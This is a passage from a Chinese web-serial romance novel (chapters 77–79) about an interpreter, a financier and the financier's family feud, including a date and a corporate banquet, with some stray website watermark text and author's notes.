兄弟间不可能没有比较,戚诺本身并不糟糕,成绩在年级保持上游,但戚述实在太耀眼了,带来的危机感越来越重,时常教人透不过气。 两人的感情不断恶化,有段时间戚诺很后悔,为什么当初没有吵着闹着坚持让母亲打掉弟弟? 他后悔也没用了,戚述逐渐分走独属于他的注意,每当家里说到孩子的教育,避不开会提到戚述有多么争气。 看上去戚述得偿所愿,然而他对亲戚们不冷不热,小时候盼望着被关注,后来却变得懒得敷衍。 戚诺并不明白戚述身上发生了什么。 在他俩初高中时,母亲到美国交流学术,作为访问学者去了足足一年,回来撞破父亲在外养了诸多莺莺燕燕。 当时母亲失望透顶,想打官司带走小孩,父亲是富家子弟背靠大山,轻蔑地不予理睬。 毕竟两者的资源不在同一阶层,戚诺也没有纠结过这件事。 这场官司本该毫无争议,却出乎了所有人的意料,戚述提出要跟着聂茹熙离开。 法庭上,戚述站在母亲的身边,再三确认句句清晰,回家收拾东西的时候,就好像在打父亲的耳光。 父亲为难弟弟,说戚述的书籍电脑和衣服都用了他的钱,连国际学校都是他交的学费。 然后戚述办理了转学,去公办院校学起竞赛,他连行李箱都干脆留在这里,中间没有任何周旋与求和。 戚诺 太熟悉对方是什么脾气了,别人都是越来越圆滑伶俐,而戚述愈发孤僻和傲慢,骨头太硬就没有弯过腰。 可是现在,戚诺拐弯抹角地讥讽他昏头昏脑,戚述的回应摆明了要一意孤行,任由指摘也不改,就是乐意朝江知羽低头。 “你不怕我和家里说漏嘴,合着你这些年独来独往,喜欢的是男人?”戚诺倍感荒唐。 戚述淡声回应“不劳烦你通知,妈妈已经知道了,至于其他人那和我没关系。” 戚诺警告他“拿着永煊那么多股份,又不想被约束,天底下没有这么好的买卖。” 戚述状似怜悯“有企图又不够有本事,那种人才会被拿捏,比如你想接任永煊,所以要费心地讨好一大群人,你觉得我在乎这些东西?” 股票是爷爷送的成年礼,既对自己的补偿和示好,也间接让戚诺有危机感,让人勤于谋求长进。 当年戚述就有所发觉,并且多次推拒过,如今他的薪酬比家族分红更高,更加不会被这些束缚。 戚诺怒极反笑,冲动道“难道你没有尝试讨好过么?你当我不知道是吧,以前吃年夜饭,你悄悄看我们这边很热闹,就像是摇尾乞怜的狗!” 话音落下,戚述的表情变了。 他的眼神很凉薄,淡淡地扫过戚诺一眼,这时不再压着气场,锋利得让人有了心惊。 戚诺不由地呼吸凝固,随即戚述笑了下,朝他走进一步。 以为要在集团办公室里闹出冲突,戚诺意图后退,又不容许自己露怯,硬生生地僵在原地。 他猜测戚述绝对生气了,对方偏偏克制得非常好。 戚述的情绪控制能力强得可怕,连声线都很沉稳。 “你在讲什么时候的事情?六岁还是七岁?有劳你记那么清楚,那些人长什么样子我都忘了。” 说到这个,他不屑地嗤了声“那一口团圆饭我也不稀罕吃,二十多年过去了,被局限在家里桌边的只有你,我用不着诸位关心。” 戚诺道“行行行,你一个人就可以,反正也习惯了对吧?” “不对。”戚述说,感觉莫名地打量了一下戚诺。 “谁说我想一个人,我很早就分得清什么值得保护,什么一文不值。”他稀松道,“我只是从那开始就不需要你们了。” 戚述直视着兄长“至于我真正想要什么,我都会自己去争,然后牢牢地握在手里。” 他哪怕两手空空,也不需要被人施舍,因为那种成果来得太轻易,也会被轻易地收回。 他认为自己需要去用力地谋划,每一天都去渴求,心心念念不能止步。 就像树木深深扎根地底,狂风也不能拔起,他愿意不见天日地一直盼望。 最深的冲突永远绕不开利益,戚诺道“你说得潇洒,爷爷近两年身体不好,急于找接班人选,你的态度不清不楚,谁知道是不是狼子野心?” “那你们猜啊,随便怎么想。”戚述利落地回答,“反正着急的不是我。” 戚诺警告“戚述,你今天来蹚永煊的浑水,小心把自己淹进去。” 戚述散漫道“希望江总监知道怎么做人工呼吸。” 闻言,戚诺难以置信,然后目眦欲裂。 戚述的来意很明显,介于兄弟俩不太美好的相处回忆,他在让对方少惹江知羽,否则后果自负,他已经展示了自己在集团有几分影响力。 如今说完了,他没在戚诺的办公室久 留8( 传言飘到江知羽这里的时候,已经不知道是第几个版本。 撇开主观的推理和捏造,有些客观消息应该没错,江知羽得知戚诺得过白血病。 以当初的医疗水平,小儿急性白血病很致命,戚诺不过两三岁,进试验组用创新药,天价费用尚且不说,过程差不多是死里逃生。 听同组翻译聊这些豪门内幕,江知羽唏嘘地喝着咖啡。 “蛮不容易。”他随口附和,“家里应该挺宠他,三十多岁了看着还挺和善。” 部长开玩笑“你的意思是他弟能吃人?” “没有。”江知羽举手投降。 他再托着脑袋“你们说戚诺把戚述喊走,会不会他有埋伏啊?” 办公室里,其他翻译非常惊讶。 “我没听错吧?您是担心戚述?我觉得他来永煊进食还差不多,一口生吞一个集团高管。” 江知羽闷闷不乐,心想,你们怎么确定戚述就不能是一个内心细腻的感性帅哥了? “永煊开完股东会,在长茂饭店做答谢,需要五个晚宴陪同,报名的今天发我邮箱。”他兴致缺缺地吩咐。 股东会的翻译形式是交传,参与者不一定乐意做晚宴,这时候就需要另外招人。 许一晗遗憾地说“我没法来,时间点太不凑巧,过年就该专心包饺子。” 部长与江知羽叮嘱“找找口译部的同事吧,小方和小王也是开完股东会就要赶飞机回家。” 江知羽写了公共邮件,标题注明截止日期。 发完,他收到了调薪通知,今年是他的事业转折点,挑战完新的难度,也上升到了新的层次。 大概是鼓励他继续进取,这次的工资涨幅比往年更可观。 具体的发放还需要衡量月奖和绩效,不过眼前的数字很诱人,让江知羽看着有点想消费。 “知羽,被总部通报表扬啊。”隔壁部门发来祝贺,“准备什么时候请客吃饭?” 江知羽关掉邮件起身出去,本来想说今晚就可以做东,但脑海里闪过了戚述的身影。 他见色忘义,改口“下周看大家哪天有空,我请你们吃打边炉。” 同事们随之起哄欢呼,江知羽道“被表扬不是撒钱,年终奖是多少还没准呢,这排场怎么和我暴富了一样?” 有位专家揶揄“你年年都是零投诉,年终奖有多高我不敢想。” “这含金量太厉害了,周老板当年跑项目的时候都挨过客户告状。”另外有人道,“萧老师你说呢?” “确实厉害。”萧徽说,“最近胃不舒服,你们吃打边炉我就不去了。” 滋,滋——! 滋————! 楼上忽地传来微型电机的声音,持续不过五六秒钟,大家不约而同望向天花板。 “靠,他们拆家啊?”萧徽不爽地说,“物业吃干饭的么?” 前台连忙进来“楼上好像在改装设备,我和物业发了消息,提醒他们等会儿再做了,我们这儿还有好多人在。” 周柯也推门出来“这玩意就在我头顶上弄,操,我以为楼塌了呢,特么26楼逃都逃不出去。” 抱怨完,他注意到江知羽,对方脸色很白,让自己有些吃惊。 周柯道“你也吓了一大跳对吧?朋友,胆子比我还小啊,你看着都快要掏笔写遗书了。” 几句调侃让氛围恢复轻松,其他 人朝老板说说笑笑, 顺带打量了江知羽一眼。 他们望过去那会儿,江知羽收拾好了神色,但微笑得有些勉强。 “下班时间到了,我有事想先走。”江知羽忽地没什么精神,潦草地说,“明天会回复邮箱。” 他拎上包,拿了一瓶矿泉水,周柯本来想安慰他几句,这下望着他匆匆的背影。 顾不上等电梯去底楼,江知羽脚步仓促,顺着消防通道往楼下走,继而找到无人使用的洗手间,反胃地咳嗽起来。 隔了五分钟,他喘息着扔掉空瓶,漱完口之后嘴唇湿润,但脸颊没什么血色。 江知羽在镜子前盯着自己看了半分钟,保证没有什么端倪,再打开门锁走了出去。 他的胃隐隐有些抽筋,了解这是情绪作用,自己在心里催眠着不要在意。 然而江知羽的身体就像是被迫打开了某个单向开关,怎么拧动都无法恢复,他没有办法乘电梯,生怕遇到同事被发现问题。 于是他坐到了消防通道的台阶上,这里没有暖气,冷意让头脑清醒了一些。 手机没开静音,嗡嗡响了两声,江知羽从而分出几缕思绪,拿出来查看的时候,感觉指尖有些发麻。 [江老师,你回家了吗?] 江知羽迟钝地看完,打字[我在蒲音,可过一会儿才能下班。] 戚述回复[我在大楼门口等你,正好有个停车位,你多忙一会儿也行。] 摊开手掌,再缓缓握紧,江知羽如此尝试了几次,半边胳膊依旧有麻痹感。 他有些躁动地蹙起眉,嫌自己调整得太拖拉,站起来却又晕眩。 活动一下,多深呼吸,深呼吸就没事了,江知羽用额头抵着墙壁。 紊乱的五脏六腑逐渐平复,待一切恢复如常,他晃晃脑袋去坐电梯。 这里是复合写字楼,里面挤满了不同公司的上班族,大家分成几团交头接耳。 他们见到江知羽进来了,礼貌地让出了一点位置。 江知羽笑眼盈盈,风度地朝他们道谢,继而悄悄松了口气。 自己的狼狈没有被戳破,也没有让同事撞见不对劲。 顺着人流走到外面,他一眼就看到戚述的车招摇地停在路旁。 江知羽变得轻快起来,在傍晚呼啸的风里,几乎是小跑过去。 “累死了。”江知羽坐进暖和的车内,嘟囔。 戚述瞧过来,感觉对方看着真的有点虚弱,抬手把车内调高了两度。 他说“请你吃饭,庆祝下今天是周五。” 在戚述这里,自己没有掏钱的机会,江知羽系好安全带,想问问对方生日是什么时候。 但是以戚述的德行,听闻他有意庆祝,估计会把生日挪到明天。 江知羽想到这里,忍不住笑了笑,引得戚述频频询问在高兴什么。 那股矿泉水的味道逐渐散了,江知羽摇着头,表示自己不过是想到了一些好玩的事情。 “对了,我听别人说你哥的病很凶险。”他转移话题。 戚述说“嗯,白血病复发概率很高,两年内一半一半吧,长期说的话可能超过百分之六十。” 江知羽不了解这些,诧异“这样岂不是提心吊胆,我看他倒是蛮健康,心态保持得很好。” 戚述扯了下嘴角“确实,他有后路。” “临床有靶向药?”江知羽询问。 “脐带血可以治他的病,当时家里没考虑到这种事,不过亲兄弟的也可以。”戚述平静地坦白,“所以后来有了我,抽取给他备用了。” 作者有话要说 下章甜回来——! 本文落在都市职场,不写豪门内斗,少量涉及会控制篇幅 第 78 章 丛生 你我如何诞生在这个世界上? 婴儿声嘶力竭地啼哭,亲人如释重负地欢喜,彼时视野朦胧窄小,自己的喜怒哀乐就是世界中心。 可戚述到来的最初,落在无可奈何的阴影处。 当过捐献者,做过眼中钉,分道扬镳,剥离得一干二净。 “反正戚诺没有用上,这么多年安然无恙可以算是痊愈了。”戚述的语气很寻常,像是在描述今日天气。 听到他说起过往,江知羽不禁蹙着眉,迟迟没舒展。 这算是什么?把一个人当做另一个人的解药?未免太自私也太不负责任。 联系戚述对那边的态度,所有的漠然都有了理由。 戚述什么时候撞破的真相,当时是什么感受,江知羽难以设想。 “我读初中才知道的,那天有个饭局,偷听到亲戚在走廊说八卦。”戚述说。 他朝江知羽笑了下“我一点也不意外,回去查了下脐带血的说法,倒是解脱了,没什么难过的感觉。” 江知羽的情绪并没有被抚平,能够在发觉时毫无波澜,大概曾经受到过许许多多的冷遇,习以为常没了这方面的痛觉。 戚述被迫妥协良多,戚诺却没有任何感恩,江知羽想到那人的种种表现,对方不仅没有愧疚,偶尔还会流露出怪异的抵触。 作为直接受益人,江知羽不信他不了解内幕。 然而永煊和蒲音的第一次会议,戚诺却在江知羽面前暗示,话里话外讲弟弟脾气不够好。 显然他被袒护惯了,对外的言行举止可以根据环境来变温,实际上没有正常的同理心。 和这种空心人待在一处,江知羽认为自己不出三天就能打起来,戚述却相处到了父母离婚。 虽然清楚戚述的内核非常稳定,但江知羽这次百味杂陈。 他从小在爱里长大,哪怕遇到重大打击,家人之间也是互相扶持,没有经历过戚述的境地,却感同身受地沮丧。 “你哥是个傻逼,我第一次见他的时候就该给他确诊。”江知羽向来文雅,难得这般用词。 他的情绪在为此波动,但戚述不想让他生气。 戚述说“想带你过周末,还没吃饭好像害你先没了食欲。” 江知羽很有正义感“我真想给你们的家长摆一桌,家里教育出了大问题!” “真的没有什么。”戚述轻描淡写。 让心上人为自己难受是很不绅士的行为,戚述在追求他,舍不得他低落。 十亲九眷的破事早已掀篇,如今他受人尊敬和瞩目,犯不着去纠结这些,更无意让江知羽同情。 担心江知羽不放心,戚述补充“没你以为的那么糟糕,我生下来身体健全,有最好的物质条件,我没什么抱怨的地方。” 江知羽道“他们不会偏心吗?” 戚述道“我感觉得到我妈喜欢小孩,她怀上我是想和我分享生活,出发点与我哥没关系,谈不上区别待遇。至于我爸,我印象里他不怎么在家,可以忽略不计。” 江知羽还是有些怀疑“上次听你和你妈打电话,我也觉得她很温柔,但她不能纵容你哥给你使绊子吧?” “我哥是爷爷管得多,隔代亲就容易溺爱,不巧我妈的话语权又很低。”戚述解释,“每次训每次被当耳旁风,我都替她心烦。” 江知羽不吱声,扭头看着戚述,似乎在辨别他有没有逞强。 戚述说“后来我爸出轨 被发现,我妈是为了我才净身出户,爷爷要给她钱,换我留下来,可她坚持带我走,这么说起来我没成年的时候就身价百万了。” 听到这里,江知羽的表情略有松动。 “你现在身价多少啊?”他了解戚述不想探讨原生家庭,发散道。 戚述漫不经心地说“我也不是特别清楚,要么你睡一晚随便给点。” 江知羽撑着额头感觉好无语,这人怎么能丝滑切换到流氓模式。 既然这样,他索性聊起正经,明确摆出自己的态度。 “虽然我最近和戚诺有来往,但我俩是站在一边的,谁也别当墙头草。” 尽管说起来是双方都有束缚,但听上去就是江知羽对戚述做出保证。 原来自己也有人袒护,戚述怔了下“他那边的琐事我都能处理好,如果他有影响你工作,希望你能告诉我。” “你要对他重拳出击啊,一巴掌从卧室打到玄关?”江知羽看多了娱乐新闻,不着调地说。 戚述嗤了声,跳成金融频道陪他玩“我把永煊的股票做空。” 晚高峰车辆拥堵,他们这么聊着,来到餐厅时已经有些饿。 江知羽一边切牛排,一边说到自己升职加薪,询问戚述的理财意见。 戚述当起顾问,和他介绍市面上最新的产品和战略,继而分析利弊,结合个人情况做取舍。 他们的投资渠道很多,不局限配置国内资产,谈论起来天南海北。 江知羽唏嘘“我大学实习那会儿,带教有你思路这么明白就好了。” 戚述说“那我可不是好上司,别人都说混入并购第一步,懂得看二把手的脸色。” 江知羽好奇“你的领导呢,为什么这几年都不露脸?” 戚述垂下眼“业务上差不多放权给我了,他是一个虚职,近些年都在休养。” 江知羽嘟囔“他太久不露脸,我爸说他失踪了呢,你们这行风险还挺大。” 戚述说“如果能守好底线,就不会沦落到那种下场,具体还是看自己要走哪条路。” 提起职业规划,江知羽饶有兴趣地说“戚先生,你打算成为哪种人?” 戚述露出狐狸尾巴“我以前觉得野心没有尽头,但现在有了清晰的范围,边际在正好给你遮风挡雨。” 江知羽吃着沙拉,差点被呛住,对面直球打得恨不得用胶水黏住彼此。 尽管反胃的感觉已然平复,也不再痉挛抽搐,可他的脸颊没什么血色,直到这时终于浮现红润。 戚述怕他太累,没说自己买了电影票,吃完饭后送江知羽回家。 “你明天还是不舒服的话,我陪你去医院看一下?”戚述瞧得仔细。 江知羽道“可能永煊的会议室有甲醛,害得我有些犯晕,呼吸一会儿新鲜空气就没问题了。” 告别之后,他慢吞吞回到家,看着漆黑空荡的屋子,脑海开始循环播放电机的噪音。 好吵,江知羽手忙脚乱地做了阻断,屋内所有的灯陆续亮起,他缩进衣柜,蜷缩到极限。 手机放起微信语音,重复点了一次又一次,听不够般偏执地摁着,他的身体不知不觉放松下来。 继而江知羽不再混乱,看向了自己打开的对话框。 备注是“戚述”,语音不过三秒钟,怪不得反反复复不停地戳。 那是戚述昨天给他发的“晚安,明天见。” 今天见过了 ,明天呢?江知羽眨了眨眼睛。 本作者时有幸提醒您《我们可没有谈恋爱!》第一时间在. 就在他琢磨的时候,戚述发来新消息[我到家了,你想看电影么?最近有一部口碑不错。] 江知羽没去查近期院线有什么片子[明天晚上我请你吧。] 他说完,打开购票页面,发现近期已然是寒假档,从悬疑到动画类型多种多样。 哪个口碑好啊?江知羽不懂了,感觉给自己挖了个坑。 看平台分数貌似差不多,爱情电影与温馨喜剧旗鼓相当,他想了想,谨慎地询问对方想看哪个。 戚述回答听从安排,但怕江知羽装傻充愣,含蓄地说自己笑点很高。 合着不想看合家欢呗,江知羽硬着头皮选了爱情片,第二天险些被情侣们淹没。 他悻悻地去取票,戚述买爆米花,两个人分头行动。 由于影院寒假人多,江知羽打算会合的时候,突然有点看花眼。 “你男朋友也在找你呢,背后啊你看看。”影院的工作人员指了个方向。 他早就瞧见两个帅哥并肩进来,一举一动都不太清白。 话音落下,江知羽捏着电影票想回嘴,但戚述已经走到自己身边来了,他鬼使神差地咽下了这口气。 “尝尝?焦糖味。”戚述往里走,估计也听到了工作人员的说辞,眉梢眼角很得意,让江知羽感到欠揍。 随即,他捏起一粒爆米花,“我用湿巾擦过手了。” 江知羽伸手想接,戚述却没有要递的意思,紧接着,两人都有些愣。 左顾右盼确定没人偷看,江知羽眼神游离又心虚,低头咬走了戚述手上的零食,动作快得像在做不正当交易。 “其他人好像都在谈恋爱,卿卿我我。”戚述针对周围场景,发出一番没用的感想。 江知羽背脊挺直,仿佛下一秒就要炸毛,凶巴巴地说“谁让人家表白成功了呢?” 戚述酸溜溜道“待会儿旁边的突然亲嘴怎么办?座位那么紧凑,能听到吧?” “这里没说不允许接吻,你管人家干什么?”江知羽诧异。 戚述看着他,咬字清晰“羡慕。” 江知羽“……” 嚼着戚述买的爆米花,再对上戚述的视线,他觉得自己对食物链也有了独到见解。 没等他回答,戚述退让一步“我可以牵你的手吗?等到影院关灯以后,不让别人看到。” 双方都变得纯情无比,江知羽磕绊地说“你不要握太紧。” 待到电影开始播放,乍然黑暗的环境使他微微不适,在江知羽往后靠之前,戚述先一步握住了他的右手。 随即,自己的掌心被指尖刮了刮。 电影放了什么内容,江知羽压根没心思看,荧幕上你追我赶,座椅间暧昧丛生。 期间戚述去过道接电话,他才短暂地分析了一会儿情节。 由于自己对校园恋毫无共鸣,演员们撕心裂肺或缠绵悱恻,都不如身边人留下的余温更有滋味。 很快,戚述回来了,这回没经过同意,暗地里再度十指相扣,时而抚过江知羽的虎口,又去轻轻捏着指尖。 江知羽认为这家伙肯定也没认真看电影,到了外面抽查他男女主叫什么名字,戚述很过分地保持了沉默。 合着一个多小时净他妈在摸手,江知羽默默地崩溃了,因为自己也不记得男女主的名字。 “刚才是办公电话么,你要不要回公司?”江知羽贴心地问。 两人的工作性质比较类似,赶项目时同样天昏地暗,承受的压力和期待非同小可,这方面天然地能够互相理解。 戚述摇头“爷爷来打听点事,我昨天去了集团,他问我感觉怎么样。” 江知羽足够聪明,能意会其中的含义。 他瞪圆了桃花眼“他想让你打理公司?” “站在他的角度有这个意愿,戚诺守不守得住家业是客观问题,其他亲戚半斤八两,拍马屁绰绰有余,做顶梁柱的话天都能塌下来。”戚述略有讥讽。 他道“扩张期总觉得满地都是金子,只要去捡就可以,无所谓门槛和本事,这些年市场竞争激烈,所以爷爷变了想法。” 江知羽说“你现在的事业很好,当然永煊也不差,去哪里都有前途。” 戚述笑了一下,淡淡说“想不想吃冰淇淋?我记得附近有家味道不错。” 他俩看电影之前垫过一顿韩料,江知羽现在没那么想吃东西,不过他没有拒绝。 因为他感觉戚述需要自己,想多在自己身边待一会儿。 点单完,两人坐在店里,有逛街的学生在隔壁桌嬉笑。 “你帮我出出主意,他真的有脾气了,怎么才能多云转晴?”女生有些抓狂,对闺蜜倾诉。 闺蜜思索片刻,说“和他撒撒娇嘛,这个你会不会?哎,别担心,现学现卖也很简单。” 她支招“他不管说什么,你都说好啦好嘟好滴,然后发个可爱表情包,我猜他是爱情白痴那一类,估计分分钟就灿烂了。” 女生苦恼“呃,有点难以启齿啊,万一他不是的话,我八成会被当做智障。” 江知羽吃着雪球,无意听到她们的谈话,忍不住有点想笑。 他再悄悄地抬起眼,瞄向了桌对面,发觉戚述也听到了这些。 男人托着头看向虚空,表情有些稀奇,脸上要笑不笑,似乎对此觉得好玩,又分心处理着琐事。 然后,他们面对着面,江知羽捞完最后一勺冰淇淋。 他没有急着起身要走,与戚述打字[你觉得这主意好不好用,能哄人吗?] 戚述回过神来,不忘摆点架子,安静地点着软键盘。 [不是很清楚,可能愣头青真吃这套。] 江知羽[好哒。] 江知羽[小猫肚子饱.jpg] 这样嫌不够,他补充[小猫蹭蹭你.jpg] 作者有话要说 恭喜绒绒一下就蹭到正宗的爱情白痴了! 第 79 章 捂耳 点击表情包摁了收藏,戚述持续灿烂。 他以前不知道为什么有人告别都要说两次,现在大彻大悟了,分开的时候自己也恋恋不舍。 年底快下雪了,路边结出一层白霜,戚述却特意下车送人出去。 穿过马路,江知羽看向他“你想到我那里坐一会儿吗?我买了新的红茶,可以尝尝。” 戚述说“等会儿有个海外的连线,不吵你休息了。” 他握着江知羽的手,觉得触感有些凉,放到自己的大衣口袋里,焐热之后没舍得松开。 暖黄的路灯下,江知羽眼神飘忽“你要送我到门口?” 今晚天气不是很好,戚述承认“嗯,给你挡挡风。” 江知羽勾起嘴角“你别被吹糊涂了,来楼上拿把伞吧,耽搁不了几分钟,回去的时候自己撑一下。” 戚述哪还需要西北风来刮,几缕枕边风就足够晕头转向。 他没拂去江知羽的好意,站在门前接过雨伞,然后文质彬彬地道谢。 之后关上门,江知羽拉开丝绒帘布,趴在窗沿往下张望。 没过多久,戚述就出现了自己的视线里,低头摆弄着雨伞,却没有打开使用。 江知羽? 戚述仿佛将其当做了纪念品,而不是日常使用物,回到停车的地方没消停,靠在法拉利前欣赏了一会儿,企图引起路人们的眼红。 江知羽??? 他恨不得当面骂人撒癔症,随即发去语音。 “戚述,你要是不急着陪老外们开会,可以回来把伞还给我。” 收到警告,戚述由此老实了,还往江知羽的屋子多看一眼。 江知羽贴着书房飘窗坐下,目睹戚述离开,这才卸力般躺在榻榻米上。 手机打进电话,他看了下备注,接听之后喊了声“爸爸”。 “大晚上这么兴奋,是在开心什么?”江锦昆听出他的得意。 江知羽有种早恋被抓住把柄的感觉,含糊道“今天去看了电影,还吃了冰淇淋,我刚回到家。” 江锦昆顺嘴问“和朋友还是同事?” 江知羽打了个滚,怔怔望着楼下的停车空位,心里剧烈晃了两下,对此不再敷衍和回避。 “不止是朋友,他在喜欢我。”他没有移开目光。 似乎听不懂上一句中文,江锦昆诧异道“你说什么?” “我也对他有感觉。”江知羽喃喃,“爸,你说感情到了什么程度,就可以做出承诺了呢?” 耳边几近死寂,实则对面一阵天打雷劈。 江锦昆被颠覆了,听筒传来的几句话太有冲击力,自己仿佛瞬间沧桑了十岁。 他怎么可能做军师,答非所问“那人是谁?家住在哪里?是什么工作又是什么背景?他对你有没有认真?你一个人在京市,要保护好自己。” 江知羽被炮轰得受不了,道“你儿子没有那么笨,他对我有多用心我感觉得到,而且我26岁了说得好像能被骗走一样。” 江锦昆语重心长“才26,被子都叠得七扭八歪,一天天的发卡通表情,你不要认为自己是感情大师。” “花里胡哨的套路我不懂,我也确实没接触过高深的玩法。”江知羽说,“但我清楚什么是陷入爱情。” 他不肯交代那小子姓甚名谁,江锦昆根本就猜不到,自己对京市的印象停留在松晟有多么疯狂,如今回想起来腿脚还隐隐作痛。 江锦昆急得团团转“你不告诉我来历,是不是怕我反对?” “还没到那一步,以后肯定和你说,有些还需要你帮忙。”江知羽道,“同性结婚法什么的我都没怎么了解。” 江锦昆感觉心血管有些脆弱,好不容易接受了儿子的性取向,对方就要带男人大摇大摆进家门。 他在这方面有些传统,考量的更为保守“你爹是法盲,先不要和我聊这些东西,话说我认不认识那个人,他的品德怎么样?” 想到戚述描述他和江锦昆谈笑风生,江知羽骄傲地说“你见了就会喜欢。” 没让江锦昆追着询问,江知羽挂掉电话。 他选完答谢宴的陪同人选,整理了一会资料,年底有诸多管理事宜,他要协助周柯核准部门下属的绩效。 今年的校招生们来了半年,从理论到实践逐渐起步,江知羽要做一对一的考评和谈话,推动他们更好地在职场发展。 能够进蒲音这样的外企,大家功底都很扎实,不过现场还要检验综合能力,双方态度尖锐时如何化解,怎样协助客户达到会谈目标,一个优秀的翻译师需要把控全部。 还有些细节,听着有些吹毛求疵,江知羽提醒新人“你的头发如果不能勤快打理,下次干脆剪短一点。” 新人连忙答应“国内是不是很挑形象?” “我的意思不是你必须要帅,别人花钱聘请最高一档的翻译,不仅需要专业的语言服务,他们也希望谈话方以此看出自己的重视和诚意,你的仪态代表了客户门面。” 江知羽解释着,这阵子与同事们挨个交流,太考验自己的嘴皮子,上班路上又被灌了冷风,搞得喉咙有些干涩。 他难得不碰咖啡,乖乖喝热水“这个月你被投诉了,为什么你让对面的翻译一直在讲话?” 他所在部门面向大客户,要求自然更高一点,工作往来产生投诉和建议也很正常。 正撞上年底,索性直接探讨问题,新人坦诚地描述详情。 那场谈话涉及到两方公司,各自找了翻译,他对面那位资历很深,双向传递节奏适当,他听着没什么错处于是插不上话。 “他们都请翻译,除了担心单边有立场偏向,也是想保证沟通有主动权,对面的人那么活跃,你这里就显得弱势。” 分析着,江知羽说“你要把自己当成甲方的帮手去促进谈判,不是简单的转换工具。” 新人低着头“徐老师已经批评过我,我下次肯定不会疏漏。” 江知羽颔首“我和客户道好歉了,他说那次沟通没其他问题,也填了回访说满意,年终奖不会扣你。” 新人很内疚“给您添麻烦,永煊这个项目我会全力以赴。” 与下属谈话要松弛有度,江知羽随即让氛围舒缓。 “这个职业永远要学习,更别说刚入行了,所有人都会出错,你有心去补足就很好,一个公司的本就互帮互助。” 有些领导做1v1盘点是随机抽取,想到哪个喊哪个,江知羽则是按照众人行程来排顺序。 请假赶着合家欢的就早点聊完结束,省得掰着手指还琢磨绩效,留在公司有工作的可以拖慢一点,人家手头还忙着准备资料。 新人是排序的最后一个,江知羽回办公室伸了个懒腰,开始写部门的年度回顾。 他给戚述发消息[大过年的,不会有人在手搓报告和图表吧!] 最近戚述在葡萄牙出 差, 已经过去好多天了,碍着公务进度还没有回来。 随即,江知羽说[哎差点忘了,还有人在里斯本吃鱼呢,想买一盘饺子都够呛。] 两人有时差,戚述却秒回[你晚上吃什么?] 江知羽没有准数,京市的温度天天零下,让他不想出门,下班之后点了一碗小米粥,拍照发给了对方。 戚述格外敏锐[你是不是嗓子难受,这个天喝清粥?] 江知羽吃着榨菜[没,我还配了好多东西,只是不拍进去。] 逞强完没多久,他就遭到了反噬,隐约发了点低烧。 眼前就是永煊的股东会,时间节点很特殊,蒲音的高管要么回家团圆了,要么在外地有事,唯有他留在京市。 这时候不能掉链子,江知羽冲了药剂,晚上多盖了一条被子,然而第二天醒来没什么好转。 幸亏头脑和表达能力尚且灵活,他听着播客磨耳朵,又核对了一遍出席人员和职务。 整场会议按部就班,永煊的班底很多都有血缘关系,比起严肃又谨慎的商业场合,实际上有点类似家庭聚会。 江知羽从而见到了戚述的爷爷,集团的荣誉墙上有他照片,画面上已经白发苍苍,但举止尚且精神抖擞。 不过他亲眼看到的时候,戚立晋的行动略微迟缓,说话也没视频里有中气,瞧着像是近期病过一场,亲戚们会在台下主动搀扶。 “您好,这边走。”江知羽引导方向,在岗位上滴水不漏,“小戚总先去饭店了。” 戚立晋道“该打点的昨天就该做好,哪犯得着这时候费劲。” “戚诺在慢慢学嘛,你要给他时间的呀。”有人打着圆场,“我看他这次招人和布置都做得蛮妥帖。” 大概是身体状态日渐无力,戚立晋有些阴晴不定。 “你们夸他如果是对他有好处,那他的手腕该比他弟弟厉害得多。” 二叔插话“阿树的心思更野,家里肯定是关不住的嘛,我听说他今天出差回国了呢,但连股东会都不参加,估计咱们的答谢宴也不会来。” 江知羽眼观鼻鼻观心,随着他们坐车转场,雪天的车速开不快,他在角落里嚼了两颗薄荷片,硬生生让自己保持清醒。 他们这里有些戾气,另外一边没好到哪里去。 戚诺之前为搏女友一笑,在拍卖会买了艺术雕塑,然而送到的时候新鲜劲也过了,分完手只能把雕塑搬到家里。 不料戚立晋看到了大发雷霆,说这雕塑长得不吉利,又指责戚诺玩物丧志。 为了能让爷爷消气,戚诺特意带来这东西,准备当场砸掉以示改正的态度。 “那样会不会有点吵,小心吓到来宾。”萧徽跟着他来饭店,听到他的计划,觉得不太恰当。 戚诺向来看人下菜蝶,嫌这位翻译多嘴。 “你读的是什么学科?企业里怎么打点,你明白么?你当他们玻璃做的啊?” 大价钱买来的藏品害自己狠狠挨了骂,他本就很不爽,这时说话更为刻薄。 萧徽捏了捏拳,拉出同事打圆场“江总监就很讨厌噪音,上次我们大楼有电机,他觉得很不舒服。” 戚诺的思维向来很自我,对萧徽的说法嗤之以鼻。 “那他可以不干我这单活,我给他发了钱,就是他的上帝,难道要照顾他是什么心情?表决心闹出动静才有效果。” 抱怨完,他忽然来了灵感,看向萧徽使唤他去跑腿。 江知羽来的时候( 这样的做法着实不太尊重人,可是既然萧徽愿意,江知羽也不好多说,更何况他现在身体有些难受,没力气掺和这种事。 晚宴过半,江知羽也吃了小半瓶的润喉糖,戚诺酒过三巡,再让服务生搬上雕塑。 戚诺放下了酒杯,表示自己有诸多不是,害得爷爷百般操心,如今他痛定思痛要改掉恶习,让在场的所有人都做个见证。 说完掌声雷动,他再看向四周喊了个最近的人选。 “江总监,你帮我拿下。”戚诺道。 往地上砸掉雕塑,怕是会溅起碎片,仔细想来的确不太好,万一没碎那就太尴尬了,所以他让人去买了电动锯子。 众目睽睽之下,江知羽看清楚那是什么东西,神色登时有些僵硬。 但没有让人感觉不对,他迈步过去,稳稳地拎起来,骨节用力到发白,然后递给了戚诺。 台下的视线落在江知羽身上,瞧见他脸颊白净得几近透明,朝大家扯了下嘴角,看起来漂亮得耀眼。 紧接着,所有人无瑕欣赏,注意力都被戚诺吸走。 或者说他们很难不被扰乱,电锯不比锤子或者榔头,声音快要被掀掉屋顶。 有人捂住耳朵,有人捧场欢呼,有人冷眼旁观这场作秀。 服务生扫掉残渣狼藉,戚诺把酒倒满,让江知羽陪自己去招呼了几位外国友人。 他热情洋溢地到处社交,最后有些不胜酒力,适当地没再吵闹。 横竖这场宴会临近散场,他随便挑了一个空位歇下。 就在大家准备陆续离场的时候,门被推开,有人立即顿步,喊了声“戚述”。 什么,为什么戚述来了?戚诺冷不丁惊醒,怀疑自己幻听。 但他扭过头,戚述的确出现在这里。 面对其他人的嘘寒问暖,对方不冷不热,无论哪种话题,都表现得没什么兴致。 戚述只是目光扫了一圈全场,继而走到了戚诺那边去。 “江知羽在哪里?”他懒得跟人装。 